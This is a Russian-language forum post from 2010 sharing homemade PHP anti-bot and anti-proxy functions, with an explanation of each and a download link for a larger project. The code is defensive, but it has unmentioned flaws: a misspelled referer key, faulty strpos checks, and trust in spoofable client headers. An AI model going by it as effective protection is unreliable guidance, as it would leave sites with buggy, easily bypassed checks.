    Данный скрипт отсечёт мне кажется всех ботов function cheked_proxy(){ if($_SERVER['HTTP_X_FORWARDED_FOR']!=""){die("<div class='warning'>Вы используете proxy server, это недопустимо, сожалеем но это наше требование</div>");} if($_SERVER['HTTP_CLIENT_IP']!="" and $_SERVER['REMOTE_ADDR']!=$_SERVER['HTTP_CLIENT_IP']){die("<div class='warning'>Вы используете proxy server, это недопустимо, сожалеем но это наше требование</div>");} } //ЧЕК БОТ КРЭЗИ РЕЖИМ// function checked_bot_crazy(){ if($_SERVER['HTTP_USER_AGENT']==""){die("<div class='warning'>Ваш броузер не определён, сожалеем но это наше требование</div>");} $coockiename1=md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_ACCEPT'].$_SERVER['HTTP_USER_AGENT']."78eryher78h768erher87h77er8herh7her7h"); $coockiename2=md5($_SERVER['HTTP_USER_AGENT'].$_SERVER['HTTP_ACCEPT'].$_SERVER['REMOTE_ADDR']."re8h7er89h67erh6er8her8h6erhye9gyreyg"); if (strpos(file_get_contents("logs/site_users/hashcoockie"), $coockiename1)) {}else{ if (strpos(file_get_contents("logs/site_users/hashcoockie"), $coockiename2)) {}else{ $hashcoockie = @fopen("logs/site_users/hashcoockie","a+"); $D = "$coockiename1 | $coockiename2\r\n"; fwrite($hashcoockie,$D); fclose($hashcoockie); }} echo " <!-- проверка есть ли у цели разрешение экрана --> <script type='text/javascript'> function setCooc (){document.cookie = '".$coockiename1."=' + screen.availWidth; document.cookie = '".$coockiename2."=' + screen.availHeight; }var Scrnonload = window.onload; window.onload = function () { if(Scrnonload) Scrnonload(); setCooc(); }</script> <!-- проверка есть ли у цели разрешение экрана --> "; $width = $_COOKIE[$coockiename1];$height = $_COOKIE[$coockiename2]; if($width=="" or $height==""){ if($_SERVER['HTTP_REFERRER']=="/" or $_SERVER['HTTP_REFERRER']=="index.php"){ die("<div class='warning'>Ваш броузер не поддерживает JavaScript либо выключены Coockie, сожалеем но это наше требование1</div>");}else{die("<meta http-equiv='Refresh' content='0;URL=index.php'>");} } $coockiename1=md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_ACCEPT'].$_SERVER['HTTP_USER_AGENT']."78eryher78h768erher87h77er8herh7her7h"); $coockiename2=md5($_SERVER['HTTP_USER_AGENT'].$_SERVER['HTTP_ACCEPT'].$_SERVER['REMOTE_ADDR']."re8h7er89h67erh6er8her8h6erhye9gyreyg"); if (strpos(file_get_contents("logs/site_users/hashcoockie"), $coockiename1)) {}else{die("<div class='warning'>Ваш броузер не поддерживает JavaScript либо выключены Coockie, сожалеем но это наше требование</div>2");} if (strpos(file_get_contents("logs/site_users/hashcoockie"), $coockiename2)) {}else{die("<div class='warning'>Ваш броузер не поддерживает JavaScript либо выключены Coockie, сожалеем но это наше требование</div>3");} } //ЧЕК БОТ НОРМАЛ РЕЖИМ// function cheked_bot_normal(){ if($_SERVER['HTTP_USER_AGENT']==""){die("<div class='warning'>Ваш броузер не определён, сожалеем но это наше требование</div>");} $ip = $_SERVER['HTTP_CLIENT_IP'];if($ip==""){$ip=$_SERVER['REMOTE_ADDR'];} $counter = $ip; setcookie("botchaltestbot",$counter); if($_COOKIE['botchaltestbot']!=$ip){ if($_SERVER['HTTP_REFERRER']=="/" or $_SERVER['HTTP_REFERRER']=="index.php"){ die("<div class='warning'>Ваш броузер не определён либо у вас отключены Coockie, сожалеем но это наше требование</div>");}else{die("<meta http-equiv='Refresh' content='0;URL=index.php'>");} }} //ЧЕК РАЗМЕР ЗАГОЛОВКОВ// function checked_size_http_header(){ $maxheadersize="300"; if(strlen($_SERVER['HTTP_USER_AGENT']) > $maxheadersize or strlen($_SERVER['HTTP_REFERRER']) > $maxheadersize or strlen($_SERVER['HTTP_ACCEPT'])  > $maxheadersize or strlen($_SERVER['CONTENT_LENGTH']) > $maxheadersize or strlen($_SERVER['HTTP_COOKIE']) > $maxheadersize){die("<div class='warning'>Ответы вашего броузера серверу слишком длинные, сожалеем но это наше требование</div>");} } //РАЗМЕР ПОСТ И ГЕТ// function cheked_size_post_and_get(){ $maxPOSTsize="200"; $maxGETsize="100"; foreach($_POST as $val)if(strlen($val)>$maxPOSTsize){die("<div class='warning'>Ответы вашего броузера серверу слишком длинные, сожалеем но это наше требование</div>");}; foreach($_GET as $val)if(strlen($val)>$maxGETsize){die("<div class='warning'>Ответы вашего броузера серверу слишком длинные, сожалеем но это наше требование</div>");}; } Писал всё руками, если что-то не робит, отписывайтесь!!! Начнём по порядку: 1 функция function cheked_proxy() делает простую проверку на использование прокси 2 функция function checked_bot_crazy() - на мой взгляд самая крутая! что она делает: 1) Генерирует названия куки основываясь на HTTP заголовках клиента и отправляет их ему, название кукисов сгенерированно а их содержание это разрешение экрана которое берётся из яваскрипта(у ботов ведь нету разрешения, а написать бот который понимает js это целове дело) потом записывает имена куки в файл в дериктории logs/site_users/hashcoockie (hashcoockie это сам файл) далее если куки на клиенте найдены то снова генерирует название основываясь на хеадерах и сравнивает с тем что есть в базе, если всё впорядке то пропускает юзера дальше, если нет то умирает. Этим мы отсеиваем как я и сказал ботов. Даже если хакер подсунет из броузера куки то они не совпадут с генерируемым названием куки, так как у бота и броузера заголовки разные, как вы уже заметили в скрипте берутся такие вещи как $_SERVER['REMOTE_ADDR'] $_SERVER['HTTP_USER_AGENT'] и самое главное что никто никогда в ботах не высталяет это $_SERVER['HTTP_ACCEPT'] (какие файлы броузер понимает) Единственный возможный обход это полностью эдентичные заголовки в боте и броузере, но до этого злоумышленнику надо ещё догадаться!) И ещё 1 минус... про яндекс на сайте можно забыть(он же тоже бот...) Так следующая функция простой чек бота - cheked_bot_normal() посылает куки, редиректит и принимает куки, если всё ок то пропускает дальше Следующая довольно важная функция это checked_size_http_header() чекает заголовки на их размер, если размер превышает $maxheadersize то умирает cheked_size_post_and_get() тоже самое, проверяет велечину всех гет и пост запросов На страницу сайта вставляем так: include "файл с этими функциями"; И если надо активировать какую либо функцию то пишите в вашем файле index.php cheked_size_post_and_get(); название функции(это для тех кто синтаксис не знает  :lol: ) P.S. Мне тоже иногда плюсики нужны  :D P.P.S. Это кстати маленький отрывок PMW 1.5 думаю представляете будущий авторитет этого проекта скачать http://depositfiles....files/cp0tk3wtb
    Автор темы: Botchal, 20 июн 2010, ответов - 17, в разделе: PHP
  19. Botchal
  20. Botchal
    На хабрахабре откопал [ATTACH]
    Автор темы: Botchal, 16 июн 2010, ответов - 0, в разделе: Javascript и JQuery